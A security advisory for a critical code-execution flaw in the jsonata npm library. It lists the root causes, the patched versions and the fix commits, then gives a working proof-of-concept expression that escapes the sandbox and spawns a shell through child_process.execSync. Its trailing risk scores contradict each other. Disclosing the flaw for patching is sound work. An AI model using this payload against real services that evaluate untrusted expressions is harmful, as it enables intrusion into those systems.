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GHSA-66mm-25pp-rfff

CriticalCVSS 9.3 / 10
Published Aug 21, 2026·Last modified Aug 21, 2026
Affected Components(2)
npm logojsonata
< 1.8.8
npm logojsonata
2.0.0 – 2.2.1
Description

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to:

  • overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression)
  • it being possible to destruct jsonata functions/lambdas (e.g. $merge.*)
  • applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

  • https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)
  • https://github.com/jsonata-js/jsonata/pull/800
  • https://github.com/jsonata-js/jsonata/pull/802

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

  • https://github.com/jsonata-js/jsonata/pull/799

  • https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673

  • https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de

  • https://github.com/jsonata-js/jsonata/pull/800

  • https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc

  • https://github.com/jsonata-js/jsonata/pull/802

  • https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04

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Risk Scores
Base Score
9.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.89%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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